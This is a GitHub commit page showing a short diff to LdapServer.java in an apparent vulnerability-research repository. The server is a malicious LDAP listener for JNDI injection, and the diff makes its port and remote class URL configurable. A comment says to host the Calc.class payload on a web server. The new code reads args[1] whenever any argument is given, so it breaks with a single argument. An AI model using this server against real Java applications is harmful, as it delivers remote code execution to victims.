Skip to content

Commit 9951e8b

Browse files
author
“threedr3am”
committed
op:LdapServer.java
1 parent bea7883 commit 9951e8b

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

common/src/main/java/com/threedr3am/bug/common/server/LdapServer.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -29,13 +29,13 @@ public class LdapServer {
2929
public static byte[] classData;
3030

3131
public static void main(String[] args) {
32-
run();
32+
run(args);
3333
}
3434

35-
public static void run() {
36-
int port = 43658;
35+
public static void run(String[] args) {
36+
int port = args.length > 0 ? Integer.parseInt(args[0]) : 43658;
3737
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
38-
String url = "http://localhost/#Calc";
38+
String url = args.length > 0 ? args[1] : "http://localhost/#Calc";
3939
try {
4040
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
4141
config.setListenerConfigs(new InMemoryListenerConfig(

0 commit comments

Comments
 (0)